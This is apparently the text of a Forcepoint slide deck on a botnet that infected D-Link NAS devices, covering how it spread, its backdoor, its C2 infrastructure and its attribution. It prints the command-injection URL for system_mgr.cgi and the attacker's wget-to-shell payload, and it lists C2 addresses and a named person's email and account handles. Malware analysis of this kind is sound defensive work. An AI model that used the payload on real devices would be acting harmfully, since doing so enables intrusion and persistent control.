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Consumer grade NAS bought for home use
Running a barebone Linux
Almost infinite disk space
Community tools (Fonz Fun_Plug)
Firmware tools for analysis

• binwalk

• SquashFS

Getting a NAS for home use research
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NAS connected directly to the internet
Leaving it alone for a few days
Unusual outgoing HTTP traffic
Suspicious processes running

Can we get it hacked?
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Vulnerability in SMS notifications in system_mgr.cgi
No official CVE assigned
Officially discovered and reported to the vendor by Roberto Paleari

• http://roberto.greyhats.it/advisories/20120208-dlink-rce.txt
More like a big hole rather than a small bug

Exploiting the device

Sample command:

http://<device IP>/cgi-bin/system_mgr.cgi?cmd=cgi_sms_test&command1=ls

Actual exploitation for command1:

/usr/bin/wget --no-check-certificate "/db/dlink_install.sh" -O- | /bin/ash -x 2>&1 | openssl
enc -base64

http://roberto.greyhats.it/advisories/20120208-dlink-rce.txt
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Shell scripts split into multiple steps
Originally downloaded from Dropbox
Setting up VPN functionality by installing addition components

• Package manager

• Tinc (VPN)

• Polipo (HTTP proxy)

• Nylon (Socks proxy)

• Dropbear (SSH daemon)

Creating a new root and remote user
Dropping a backdoor component
Persistence ensured by adding itself to “autorun”

The install script
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HTTP["querystring"] =~ "cmd=cgi_sms_test&command1=" {
url.access-deny = ( "" ) }

How not to prevent a vulnerability reuse
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Stored in the main install script 
base64 encoded
Dropped as update.cgi
Just a tiny compiled CGI script
Capable of executing anything as 
root
Using a hardcoded constant for 
authentication

The backdoor
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• RSS feeds are randomly used for retrieving additional commands

• Protected by an RSA signature

• It is a simple way to reach out to all nodes at once

There are 4 known C2 IP addresses

• They are being accessed through an API call plus DDNS

RSS feeds and C&C servers

C2 IPs 

217.172.186.40

93.174.93.219

94.102.49.87

94.102.52.85
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The botnet is organized into subnets
There is one port assigned to one 
subnet
One unique RSA keypair generated per 
node
Might help load balancing in the future 
(or selling)

Cereals

Port Subnet DDNS

901 piccolina alpha-srv.mooo.com

903 captaincrunch zengo.cloudns.in

904 smacks ringringring.cloudns.in

905 frosties bnnpn.cloudns.in

906 crispix sigur.cloudns.in

907 chocos jagged.nsupdate.info

908 classic globulus.nsupdate.info

909 loops bigbird.nut.cc

910 jazz jazz.ibiz.cc

911 finda finda.flu.cc

912 flippo flippo.ibiz.cc

913 caramel caramel.igg.biz
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Architecture
C&C 

server

903

...

909

Soup.io

Dropbox

DYNIP

DYNIP

DYNIP

zengo.cludns.in

...

dropa.cloudns.in

Attacker

22

SSH

RSS

aggregators

M
a

n
a

g
e

 

C
&

C
 s

e
rv

e
r

Install scripts

Signed mass 

command

Exploit Download

script

Controller



Forcepoint Public © 2019 Forcepoint  |  11

Botnet node
NAS Device

VPN

T
IN

C

Nylon

Polipo

bdcheck

H
T

T
P

 L
ig

h
ty

 (
8

0
, 

4
4

3
)

System_

mgr.cgi

Update.cgi

Install scripts

Dropbox

1080

SOCKS

DropbearC&C server

8080

WEB Proxy

60022

SSH

RSS commands

Soup.io



Forcepoint Public © 2019 Forcepoint  |  12

2014-07-24: Original discovery
2014-07-25: Botnet reported to D-Link
2014-07-30: GOV-CERT Hungary was contacted
2014-09-04: Hungary‘s National Investigation Bureau‘s cyber crime unit was contacted
2015: Original C2 shutdown

Vendor and CERT notification timeline
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Honeypot device deployed for all subnets
Dropbox contacted, account shutdown, content moved over to the C2
Exploitation moved to TOR from the attacker’s own IP
Affected devices

• DNS-320, DNS-320L, DNS-325, DNR-322L, DNR-326, later DNS-345 support added

• Routers or other devices with ARM TS-72xx Single Board Computer

Botnet timeline

• 2012-02-08: Command injection vulnerability was disclosed (Roberto Paleari)

• 2012-06: First infections

• 2013-04: Version 4

• 2014-05: Version 6

• 2014-11: Mass removal witnessed

• 2014-12: Version 9 (previously cleaned devices are infected again)

• 2016: Version 10 

• 2017: Version 11

Monitoring
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About 10.000 infected devices in 2015

• Tinc‘s GraphDumpFile option

• Shodan & Censys queries

• Several text files (status/error/version) are publicly accessible under webroot

Estimated size of the botnet
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The purpose of it all
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Vulnerability presents long enough to provide opportunity for other cybercriminals
Publicly accessible debug log

• http://<Device IP>/msg

One device – multiple infections
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Not all fixes are backported
D-Link selling to OEMs

• Western Digital (My Cloud)

• TRENDNet

Firmware inconsistencies and other vendors

DNS-320 A1 FW 2.00 (07/16/13) DNS-320 A1 FW 2.06 (04/11/2019) DNS-320L FW 1.00 (08/20/12)
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Firmware occasionally updated to a non-vulnerable version

• Simple flashing is not enough for botnet cleanup 

Devices targeted by the botnet got replaced or died
Cr1pT0r ransomware appearing at the end of 2018

• D-Link issuing a quick fix even for DNS-320 within few months of discovery

From the cradle to extinction – There is always a bigger 
fish
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The name “Stefan” appears in multiple IPK packages
First C2 location was in Germany
Several account details collected 
Initial exploitation from a .de IP address
Some DDNS are registered from a .de IP address

Attribution Example accounts

www.animes.so

9252

farelliser

Farelliser@t-online.de

http://u.nydus.org

32549

Loarrera42, fshesf23_2g

Farelliser@t-online.de

www.boerse.sx

7190695

Loarrera42, fshesf23_2g

Farelliser@t-online.de
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The botnet can be controlled on various ways

• Sending commands to the proxy through VPN

• Using the RSS feed which is protected by an RSA key

• Using the deployed backdoor component

• Using the original vulnerability

Keeping a low profile even after the reinfection of devices
High volume network traffic, easy to hide the “needle”
Files stored on the NAS could be accessed on demand
Related links

• Search-Lab: More than fifty vulnerabilities in D-Link NAS and NVR devices (2014)

https://www.search-lab.hu/advisories/secadv-20150527

• GulfTech: WDMyCloud Multiple Vulnerabilities (2018)

http://gulftech.org/advisories/WDMyCloud%20Multiple%20Vulnerabilities/125

• CyStack: DNS-320 ShareCenter Unauthenticated Remote code execution (2019)

https://blog.cystack.net/d-link-dns-320-rce/

Summary

https://www.search-lab.hu/advisories/secadv-20150527
http://gulftech.org/advisories/WDMyCloud%20Multiple%20Vulnerabilities/125
https://blog.cystack.net/d-link-dns-320-rce/
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Simple vulnerability to exploit
Specific device is needed to catch the infection
Malicious activity and files cannot be detected by normal users
No AV on the device to flag anything suspicious and send it to a lab
High number of initially exploitable devices
Average skillset and dedication is often enough
Operating under the radar
Vendors slowly responding to fixing the vulnerability
People still not keeping IoT and similar devices up to date

Conclusion
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